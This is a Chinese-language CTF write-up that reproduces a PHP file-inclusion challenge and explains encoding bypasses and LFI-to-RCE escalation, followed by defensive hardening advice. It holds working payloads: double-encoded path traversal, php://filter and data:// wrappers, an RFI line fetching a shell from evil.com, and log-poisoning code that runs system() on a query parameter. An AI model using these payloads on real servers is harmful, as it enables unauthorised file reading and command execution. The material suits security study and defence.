文件包含漏洞编码绕过实战:从双重URL编码到PHP Filter协议

📅 2026/8/3 7:31:54 👁️ 阅读次数 📝 编程学习
文件包含漏洞编码绕过实战:从双重URL编码到PHP Filter协议

1. 项目概述:一次典型的文件包含编码绕过实战

最近在复盘NewStarCTF 2023第二周的题目,其中一道名为“include 0。0”的题目给我留下了挺深的印象。这道题的核心考点是文件包含漏洞,但出题人设置了一个小小的“障碍”——需要我们对包含的路径进行编码绕过。这其实是一个非常经典且在实际渗透测试中经常遇到的情景:开发人员可能对用户输入进行了一些基础的过滤或检查,但过滤逻辑不够严谨,导致我们可以通过编码技巧来绕过这些限制,最终实现任意文件读取甚至代码执行。这道题虽然来自CTF赛场,但其背后的原理和绕过思路,对于理解Web安全中的文件包含漏洞、以及如何应对不完善的输入过滤,有着非常直接的参考价值。如果你正在学习Web安全,或者想深入理解文件包含漏洞的各种“花式”利用方法,那么这次对“include 0。0”的详细拆解,应该能给你带来不少启发。

简单来说,文件包含漏洞允许攻击者将服务器上的本地文件(Local File Inclusion, LFI)或远程文件(Remote File Inclusion, RFI)包含到当前的脚本中执行。当包含的文件是PHP等脚本文件时,其中的代码就会被执行,这危害极大。而题目中的“编码绕过”,则是我们为了突破路径检查,对包含路径中的特殊字符(比如目录遍历符../)进行各种编码变换,尝试让检查逻辑失效。接下来,我会从环境搭建、漏洞原理、多种编码绕过手法的详细测试与原理分析,再到最终的利用和加固建议,完整地复现并讲解这道题。

2. 漏洞原理与靶场环境搭建

2.1 文件包含漏洞核心机制

要理解绕过,首先得清楚漏洞本身是怎么产生的。在PHP中,主要有四个文件包含函数:include()require()include_once()require_once()。它们的区别主要在于处理包含失败时的行为(require会报致命错误并停止,include只会报警告)以及是否重复包含。漏洞产生的根本原因在于,这些函数所包含的文件路径,全部或部分来自于用户可控的输入,并且程序没有对这个输入进行足够严格的过滤。

例如,一段存在漏洞的代码可能长这样:

<?php $page = $_GET['page']; include($page . '.php'); ?>

这段代码的本意可能是让用户通过?page=home这样的参数来动态加载home.php页面。但是,如果攻击者传入?page=../../../../etc/passwd,那么拼接后的路径就变成了../../../../etc/passwd.php。服务器会尝试去寻找这个文件。虽然因为.php后缀可能找不到,但如果我们能利用空字节截断(PHP版本<5.3.4)或某些特定的技巧,就可能成功读取到/etc/passwd文件的内容。这就是最基础的目录遍历(Path Traversal)攻击。

更危险的情况是,如果php.ini中配置了allow_url_include=On,攻击者甚至可以包含一个远程服务器上的PHP脚本(如?page=http://evil.com/shell.txt),从而实现远程代码执行(RCE)。这道“include 0。0”题目,主要考察的是本地文件包含(LFI)场景下的编码绕过。

2.2 靶场环境复现与分析

为了彻底搞懂这道题,我并没有直接使用现成的CTF平台,而是在本地Docker环境中搭建了一个模拟环境。这样做的好处是可以反复调试、查看服务器日志、并尝试各种可能的Payload,而不受比赛环境的限制。

我创建了一个简单的PHP文件index.php,模拟题目中可能存在漏洞的代码逻辑:

<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['file'])) { $file = $_GET['file']; // 模拟一些基础的过滤或检查 if(strpos($file, '../') !== false) { die('Hacker! Detected path traversal!'); } // 包含文件 @include($file); } ?>

这段代码模拟了一个非常典型的、不安全的过滤逻辑:它仅仅检查了参数中是否明文出现了../字符串,如果出现就直接拦截。这显然是非常脆弱的,因为../可以有无数种编码形式。

我的测试环境结构如下:

/var/www/html/ ├── index.php (漏洞页面) ├── secret.txt (存放flag的文件) └── includes/ └── info.php (一个正常的可包含文件)

我们的目标就是通过index.phpfile参数,绕过对../的检查,最终读取到上级目录或其他目录下的secret.txt文件。

注意:在实际CTF比赛中,题目环境往往是黑盒的,我们不知道后端具体的过滤逻辑。因此,我们的测试方法应该是系统性地尝试各种编码和绕过技巧,观察服务器的响应差异,从而推断出过滤规则并找到突破口。本地搭建环境进行白盒分析,是为了更好地理解原理。

3. 编码绕过技术全解与实战测试

当简单的../被拦截时,我们就需要祭出编码绕过大法。核心思路是:我们提交的Payload在到达PHP的include()函数之前,可能会经过多层处理,包括Web服务器(如Apache/Nginx)的解码、PHP自身的解码、以及开发者自定义的过滤函数。如果我们提交的编码形式,能够骗过过滤检查,但在最终被include()函数处理时,又能被正确解析为../,那么绕过就成功了。

3.1 URL编码绕过

这是最基础、最常用的绕过方式。URL编码,也叫百分号编码,会将特殊字符转换为%后跟两个十六进制数的形式。

  • 原理:Web服务器在将请求传递给PHP处理之前,通常会对URL进行一次解码。如果过滤逻辑是在URL解码之后应用的,那么对过滤关键词进行URL编码就可能绕过。
  • 测试Payload
    • ?file=..%2f..%2f..%2f..%2fetc%2fpasswd(将/编码为%2f)
    • ?file=%2e%2e%2f%2e%2e%2fsecret.txt(将./全部编码,..%2e%2e/%2f)
  • 实战结果:在我的模拟环境中,由于过滤代码strpos($file, '../')是在$_GET['file']赋值给$file之后执行的,而$_GET数组中的值已经由PHP自动进行了一次URL解码。因此,直接提交..%2f..%2f是绕不过的,因为到了strpos函数时,它已经被解码成了../../,依然会被检测到。这说明过滤发生在URL解码之后
  • 心得:URL编码是否有效,高度依赖于过滤代码在数据处理流程中的位置。它常常作为其他编码方式的基础,或者用于绕过一些简单的WAF规则。

3.2 双重URL编码绕过

如果一次URL编码被解码后仍被过滤,那么可以尝试进行两次URL编码。

  • 原理:假设过滤逻辑只做了一次解码检查。我们提交双重编码的Payload,第一次由Web服务器或PHP全局解码后,变成了一次编码的形式,可能恰好绕过了过滤。然后,在后续的某个环节(可能是include()函数内部的文件系统调用),再进行第二次解码,最终还原出原始字符。
  • 编码过程:以../为例。
    1. 第一次编码:.->%2e/->%2f,得到%2e%2e%2f
    2. 第二次编码:%->%252-> ``,e->e... 得到%252e%252e%252f。注意,这里是对第一次编码后的结果整体再次进行URL编码,%被编码成了%25
  • 测试Payload?file=%252e%252e%252f%252e%252e%252fsecret.txt
  • 实战结果:在我的模拟代码中,$_GET会自动解码一次。所以当我们传入%252e...时,PHP首先将其解码为%2e...(这是一次编码的形式)。此时strpos($file, '../')检查的$file值是%2e%2e%2f,其中不包含明文../,因此绕过成功!当include()函数尝试包含%2e%2e%2f%2e%2e%2fsecret.txt时,文件系统访问层或PHP内部可能会将其识别为一个包含编码字符的文件名,在某些系统配置下,这可能会被等价视为../../secret.txt,从而包含成功。这是本题的关键突破口之一
  • 注意事项:双重编码绕过的成功率依赖于环境。并非所有Web服务器和PHP配置都会进行两层解码。需要实际测试。

3.3 其他特殊编码与变形

除了标准的URL编码,还有许多“奇技淫巧”,它们利用了不同系统、不同上下文对字符的解析差异。

3.3.1 点号(.)的替代形式在某些上下文中,多个点号或特定编码的点号可能被等价处理。

  • .../..../:尝试用多个点来混淆。
  • ../(全角点):Unicode全角字符,在宽松的过滤中可能被忽略。
  • %2e%2e%2f的变种:%2e%2e%2f是标准形式,也可以尝试%2E%2E%2F(大写十六进制)。

3.3.2 斜杠(/)的替代形式目录分隔符除了/,在Windows系统上是\,在URL和文件包含中,还有一些其他表示方式。

  • ..\..\(反斜杠):在Windows服务器上绝对值得一试。即使在Linux上,PHP的include函数有时也会将\处理为目录分隔符。
  • ..%5c..%5c:反斜杠\的URL编码。
  • 空字节截断:在PHP 5.3.4之前,include()等函数会受到空字节(%00)的影响。例如?file=../../etc/passwd%00,空字节后的.php后缀会被截断。虽然本题环境(2023年的CTF)几乎不可能是这么老的PHP版本,但作为一个历史知识点必须了解。现代PHP版本已修复此问题。

3.3.3 利用PHP封装协议PHP拥有一系列强大的封装协议(Wrapper),它们本身就可以用来绕过一些基于字符串的过滤,并直接访问文件或输出内容。这常常是LFI漏洞利用的终极武器。

  • php://filter:这是最常用的一个。它允许我们对数据流进行过滤。例如,读取PHP文件源码时,可以用Base64编码绕过可能的代码执行:?file=php://filter/convert.base64-encode/resource=index.php这样得到的是index.php文件的Base64编码内容,解码即可获得源码,而不会执行它。这常用于源码审计。
  • file://:显式指定文件协议。?file=file:///etc/passwd。有时直接路径被阻,但加上file://前缀却能成功。
  • data://:需要allow_url_include开启。可以直接将代码嵌入URL中执行:?file=data://text/plain,<?php phpinfo();?>。这是实现RCE的利器。

3.3.4 路径长度与超长路径某些简单的过滤可能只检查字符串中是否出现../,而不检查出现的次数和位置。我们可以尝试注入超长的、无意义的路径前缀,将真实的../序列“挤”到过滤函数检查范围之外(如果过滤有长度限制)。或者使用大量的./(当前目录)来填充,如././././../

3.4 针对本题的绕过策略推演

回到“include 0。0”这道题。结合题目名称和常见的出题套路,过滤很可能就是像我们模拟代码那样,简单检查../字符串。我们的绕过测试应该有条理:

  1. 信息收集:先尝试包含一个已知存在的正常文件,如?file=includes/info.php,确认包含功能正常。
  2. 基础绕过测试
    • 直接../:预期被拦截,确认过滤存在。
    • URL编码..%2f:很可能也被拦截,因为PHP已解码。
    • 双重URL编码%252e%252e%252f:这是重点希望。
    • 反斜杠..\:尝试。
    • 点号和斜杠的变异:.../....//等。
  3. 高级技巧测试
    • PHP Filter协议:?file=php://filter/convert.base64-encode/resource=secret.txt。如果过滤只检查../,那么这个协议路径很可能直接绕过,因为它根本不包含../
    • 尝试包含/proc/self/environ/proc/self/fd/等系统文件(如果是Linux环境),这些路径通常也不含../

在我的本地模拟测试中,使用双重URL编码?file=%252e%252e%252f%252e%252e%252fsecret.txt成功绕过了strpos检查,并读取到了secret.txt中的flag内容。而使用php://filter协议更是直接畅通无阻。

实操心得:在实际渗透测试中,面对文件包含点,我通常会准备一个包含各种编码Payload的Fuzz字典,用工具(如Burp Suite Intruder)进行快速测试。同时,优先尝试php://filter协议,因为它不仅能绕过很多过滤,还能帮助我们读取源码,为进一步利用提供信息。顺序通常是:Filter协议 -> 双重URL编码 -> 反斜杠 -> 各种点/斜杠变形 -> 超长路径等。

4. 漏洞利用与防御加固实战

4.1 漏洞利用链的构建

成功绕过过滤包含文件只是第一步。在真实的攻击场景中,我们的目标往往是获取服务器权限(RCE)。本地文件包含(LFI)可以通过一些“组合技”升级为远程代码执行。

4.1.1 利用日志文件注入这是LFI到RCE的经典方法。思路是将PHP代码写入服务器的日志文件(如访问日志、错误日志),然后通过文件包含漏洞去包含这个日志文件。

  1. 找到日志路径:常见路径如/var/log/apache2/access.log/var/log/nginx/access.log/var/www/html/logs/error.log等。可以通过LFI读取/proc/self/environ(环境变量)或/etc/apache2/envvars等文件来寻找线索。
  2. 注入代码:在HTTP请求的User-Agent、Referer或Cookie等头部中插入PHP代码,例如:User-Agent: <?php system($_GET[‘c’]);?>。这样,这段代码就会被记录到访问日志中。
  3. 包含日志文件:通过LFI漏洞包含这个日志文件,如?file=../../../var/log/apache2/access.log。如果日志文件可读且其中的PHP代码被解析,那么传递参数&c=id就能执行系统命令。

4.1.2 利用/proc文件系统在Linux系统中,/proc/self/environ文件包含了当前进程的环境变量,其中HTTP_USER_AGENT等字段是用户可控的。我们可以通过修改User-Agent注入代码,然后包含/proc/self/environ来执行。此外,/proc/self/fd/目录下的文件描述符也可能指向包含我们输入的文件。

4.1.3 利用临时文件/上传文件如果网站有上传功能,但限制了后缀,我们可以尝试上传一个内容为PHP代码的图片文件(如shell.jpg),然后利用LFI漏洞包含这个上传后的文件。因为include()是根据文件内容中的PHP标签来解析的,与文件后缀无关(前提是服务器配置未强制解析后缀)。或者,在某些情况下,PHP处理文件上传时会生成临时文件,其路径和名称有一定规律,可以尝试猜测并包含。

4.1.4 利用PHP封装协议如前所述,data://协议在配置允许时可直接执行代码。expect://input://等协议也可能用于命令执行,但默认配置下很少开启。

4.2 防御方案与代码加固

理解了攻击手法,防御就有了方向。核心原则是:白名单优于黑名单,最小化用户输入影响

4.2.1 最佳实践:白名单机制最安全的方式是完全不使用用户输入来动态包含文件。如果业务必须,则使用严格的白名单。

<?php $allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('error.php'); } ?>

这样,用户只能访问预定义的几个页面。

4.2.2 严格过滤与路径校验如果白名单不可行,必须进行严格的过滤和校验。

  • 剥离目录遍历符:使用str_replacepreg_replace递归移除所有../..\的变种。
    $file = str_replace(['../', '..\\'], '', $_GET['file']); // 注意:简单的str_replace可能被`....//`绕过,需要循环处理或使用正则 while (strpos($file, '../') !== false) { $file = str_replace('../', '', $file); }
  • 使用basename()函数:如果只需要文件名,basename()会去掉路径部分,只返回最后的文件名部分,但要注意它可能受本地语言设置影响。
  • 使用realpath()函数realpath()可以解析路径中的符号链接和相对路径,返回绝对路径。然后,检查这个绝对路径是否在以网站根目录为前缀的允许范围内。
    $base_dir = '/var/www/html/includes/'; $user_path = $_GET['file']; $real_path = realpath($base_dir . $user_path); if ($real_path === false || strpos($real_path, $base_dir) !== 0) { // 路径非法或不在允许的目录内 die('Invalid file path.'); } include($real_path);
    这是非常有效的一种方法。

4.2.3 服务器配置加固

  • 关闭危险PHP配置:在php.ini中,确保allow_url_fopen = Offallow_url_include = Off。这可以彻底杜绝RFI攻击。
  • 设置open_basedir:将PHP可访问的文件限制在网站目录及其子目录下。例如open_basedir = /var/www/html。这能有效限制LFI的横向移动范围。
  • Web服务器权限:以低权限用户(如www-data)运行Web服务,并确保其没有读取系统敏感文件(如/etc/shadow)的权限。

4.2.4 安全开发意识不要仅仅依赖一重过滤。采用“纵深防御”策略,结合输入验证、白名单、路径检查和服务器配置等多重手段。在代码审查时,要特别关注所有用户输入点流入文件操作函数(include,require,file_get_contents,fopen等)的路径。

5. 常见问题排查与实战技巧实录

在实际测试和利用文件包含漏洞时,你肯定会遇到各种各样的问题。下面是我总结的一些常见场景和解决思路。

5.1 包含文件后页面空白或报错“No such file or directory”

  • 可能原因1:路径错误。这是最常见的原因。在Web环境中,相对路径的基准是当前执行的PHP脚本所在的目录。使用__DIR__dirname(__FILE__)来打印当前目录,帮助你定位。尝试使用绝对路径。
  • 可能原因2:文件权限不足。Web服务器用户(如www-data)对目标文件没有读取权限。这在尝试读取系统文件时经常遇到。
  • 可能原因3:被包含文件中有语法错误。如果包含的是一个PHP文件,且其中有语法错误,会导致包含它的父脚本也执行失败。可以尝试先包含一个纯文本文件(如../../README.md)来测试路径是否正确。
  • 排查技巧:开启PHP错误显示(ini_set('display_errors', 1); error_reporting(E_ALL);)可以获取更详细的错误信息。但在生产环境中切勿开启。

5.2 包含PHP文件时代码不执行,直接显示源码

  • 可能原因1:文件后缀问题。如果包含的文件后缀不是.php,且服务器没有配置将该后缀解析为PHP,那么它就会被当作纯文本输出。尝试使用php://filter读取源码,或者利用.htaccess(Apache)或Nginx配置将特定后缀解析为PHP(但这需要额外的漏洞配合)。
  • 可能原因2:短标签问题。被包含文件使用了<?短标签,但服务器配置中short_open_tag=Off。统一使用<?php标准标签。
  • 排查技巧:包含一个简单的<?php phpinfo();?>文件测试,这是最直接的测试方法。

5.3 过滤规则看似严密,但依然被绕过

  • 可能原因:过滤顺序或逻辑漏洞。例如,先解码后过滤,但只过滤一次。或者过滤了../但没过滤..\。或者使用str_replace替换../为空,但可以被....//绕过(替换一次后变成../)。
  • 排查与绕过技巧
    1. Fuzz测试:系统性地提交各种编码和变形Payload,观察响应差异。
    2. 分析源码:如果可能,利用php://filter读取漏洞点附近的源码,直接分析过滤逻辑。
    3. 利用PHP自身特性:例如,在Windows下,include()可能支持C:\inetpub\wwwroot\shell.php这样的绝对路径,或者C:\temp\shell.txt:.$DATA这样的NTFS数据流(非常古老的特性)。在Linux下,可以尝试包含/proc/self/cwd/(当前工作目录)相关的路径。

5.4 利用日志文件包含时不执行代码

  • 可能原因1:日志文件不可读。Web进程用户对日志文件没有读取权限。
  • 可能原因2:日志内容被转义或截断。日志系统可能对特殊字符(如<,>)进行HTML实体转义(变成&lt;,&gt;),导致PHP标签失效。或者日志行长度有限,注入的代码被截断。
  • 可能原因3:包含日志文件本身导致错误。日志文件通常很大,包含它可能导致内存耗尽或超时。
  • 技巧
    • 尝试包含错误日志(error.log),有时它对内容的处理更“原始”。
    • 注入的代码要尽量简短,如<?=$_GET[0]?>(短标签,需要开启)。
    • 先尝试读取日志文件,确认代码是否被原样写入,以及是否有转义。

5.5 使用php://filter时遇到“allow_url_fopen”或“allow_url_include”错误

  • 说明php://filter是PHP流包装器,它的启用与allow_url_fopenallow_url_include无关。这两个配置主要影响http://ftp://data://等远程或特定包装器。php://file://等本地包装器通常是默认启用的。如果报错,可能是路径或语法错误。

最后,再分享一个我在实际渗透测试项目中的小技巧:当遇到一个可疑的文件包含参数时,我通常会先尝试?file=php://filter/convert.base64-encode/resource=index.php。这不仅能绕过很多过滤,还能直接拿到网站核心源码,往往能从源码中发现数据库配置、其他隐藏参数、甚至是更严重的漏洞,一举多得。这比盲目地尝试各种路径遍历要高效得多。文件包含漏洞就像一扇门,打开它之后,能看到什么样的风景,取决于你的技巧和想象力。